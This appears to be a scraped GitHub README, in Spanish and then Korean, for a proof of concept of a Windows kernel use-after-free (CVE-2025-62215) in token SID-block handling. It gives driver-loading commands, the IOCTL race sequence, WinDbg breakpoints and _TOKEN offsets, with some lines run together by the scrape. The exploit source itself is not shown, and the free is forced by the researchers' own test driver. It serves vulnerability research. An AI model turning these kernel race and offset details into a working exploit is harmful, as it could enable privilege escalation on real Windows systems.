gowonisgood/cve-2025-62215-pocExploit de prueba de concepto para CVE-2025-62215, una vulnerabilidad Use-After-Free del kernel de Windows en SepTokenSidSharingEnabled. Incluye un controlador de kernel y un exploit en modo usuario para el análisis de condiciones de carrera.
Una PoC de vulnerabilidad Use-After-Free que ocurre en la ruta de optimización SepTokenSidSharingEnabled del kernel de Windows.
NtDuplicateToken incrementa el RefCount del Bloque de Valores SID de 1 a 2,
un hilo del kernel en competencia libera el bloque mediante ExFreePoolWithTag.SepDereferenceSidValuesBlock accede al bloque liberado → UAF / Doble Liberación.[Usuario] IOCTL_REPLACE_SID_BLOCK → Colocar un bloque independiente (RefCount=1) en TOKEN+0x468
[Usuario] IOCTL_TRIGGER_FREE → Generar un hilo del kernel (sondeo hasta RefCount==2)
[Usuario] NtDuplicateToken → Internamente incrementa RefCount 1→2
[Hilo del kernel] RefCount==2 detectado → ExFreePoolWithTag(pBlock) ← punto UAF
| Ruta | Descripción |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | Explotación en modo usuario (aplicación de consola) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | Controlador del kernel (proporciona interfaz IOCTL) |
tokendriv.sys — Controlador del Kerneltokendriv/tokendrv/tokendrv.slnxtokendriv/tokendrv/x64/Release/tokendriv.sys.sys a la máquina virtualDespués de instalar WDK, verificar: Propiedades del proyecto → Configuración del controlador → Versión del sistema operativo de destino
exploitWithDriv.exe — Explotación en Modo Usuarioexploit/exploitWithDriv.slnxexploit/x64/Release/exploitWithDriv.exeSepTokenSidSharingEnabled)test / 1234 (cuenta local, no se requieren derechos de administrador)sc create tokendriv type= kernel binpath= "C:\ruta\a\tokendrv.sys"
sc start tokendriv
Verificar que el controlador está en ejecución:
sc query tokendriv
El estado debe ser RUNNING.
exploitWithDriv.exe
Flujo de ejecución:
FullNumberOfPhysicalPages (debe ser ≤ 0x83400)LogonUser("test", ".", "1234") → obtener hSourceREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
Ejemplo de salida:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 es la dirección EPROCESS.
Las direcciones a continuación pueden variar según el entorno — confirmar con los símbolos reales del kernel.
A. Incremento de RefCount del Bloque SID (inicio de la ventana de carrera)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x4681 → 2 es la ventana de carreraB. Punto de lectura UAF
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdxC. Punto de escritura UAF
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax para detectar corrupciónEntrada a NtDuplicateToken
└─ SeTokenCanImpersonate
└─ RefCount del Bloque SID: 1 → 2 ← bp A (A_REFCNT_INCR)
← hilo del kernel: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ desreferenciar pBlock (lectura) ← bp B (REAL_UAF_READ)
└─ desreferenciar pBlock (escritura) ← bp C (REAL_UAF_WRITE)
2 inmediatamente después de que se imprima A_REFCNT_INCR, la ventana de carrera se ha ingresado con éxitoREAL_UAF_READ / REAL_UAF_WRITE, se confirma el UAF real'kcoB': !pool <addr> o !poolused| Estructura | Desplazamiento | Campo |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (puntero al Bloque de Valores SID) |
| Bloque de Valores SID | +0x000 | Length (ULONG) |
| Bloque de Valores SID | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv
Windows 커널의 SepTokenSidSharingEnabled 최적화 경로에서 발생하는 Use-After-Free 취약점 PoC.
NtDuplicateToken 내부에서 SID Values Block의 RefCount가 1→2로 증가하는 순간,
레이스를 걸어 커널 스레드가 해당 블록을 ExFreePoolWithTag로 해제한다.SepDereferenceSidValuesBlock이 해제된 블록에 다시 접근 → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → TOKEN+0x468 에 RefCount=1 독립 블록 배치
[User] IOCTL_TRIGGER_FREE → 커널 스레드 시작 (RefCount==2 폴링 대기)
[User] NtDuplicateToken → 내부에서 RefCount 1→2
[Kernel Thread] RefCount==2 감지 → ExFreePoolWithTag(pBlock) ← UAF 지점
| 경로 | 설명 |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | 유저모드 익스플로잇 (콘솔 앱) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | 커널 드라이버 (IOCTL 인터페이스 제공) |
tokendriv.sys — 커널 드라이버tokendriv/tokendrv/tokendrv.slnx 열기tokendriv/tokendrv/x64/Release/tokendrv.sys 생성.sys 파일 하나만 VM으로 복사하면 됨WDK 설치 후 프로젝트 속성 → Driver Settings → Target OS Version 확인
exploitWithDriv.exe — 유저모드 익스플로잇exploit/exploitWithDriv.slnx 열기exploit/x64/Release/exploitWithDriv.exe 생성test / 1234 (로컬 계정, 관리자 권한 불필요)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
드라이버 로드 확인:
sc query tokendriv
RUNNING 상태이면 정상.
exploitWithDriv.exe
실행 흐름:
FullNumberOfPhysicalPages 체크 (0x83400 이하여야 진행)LogonUser("test", ".", "1234") → hSource 획득REPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
출력 예시:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 부분이 EPROCESS 주소.
아래 주소는 환경마다 다를 수 있으므로 실제 커널 심볼로 확인 후 사용.
A. SID Block RefCount 증가 지점 (레이스 윈도우 시작)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x468 에 있는 SID Values Block의 RefCount(+0x8)를 출력1 → 2로 바뀌는 순간이 레이스 윈도우B. UAF Read 지점
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdx 값 확인C. UAF Write 지점
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax 값으로 오염 여부 확인NtDuplicateToken 진입
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← 커널 스레드: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ pBlock 역참조 (읽기) ← bp B (REAL_UAF_READ)
└─ pBlock 역참조 (쓰기) ← bp C (REAL_UAF_WRITE)
A_REFCNT_INCR 출력 직후 RefCount가 2이면 레이스 윈도우 진입 성공REAL_UAF_READ / REAL_UAF_WRITE 이 출력되면 실제 UAF 발생 확인'kcoB' 로 할당된 블록 추적: !pool <addr> 또는 !poolused| 구조체 | 오프셋 | 필드 |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (SID Values Block 포인터) |
| SID Values Block | +0x000 | Length (ULONG) |
| SID Values Block | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv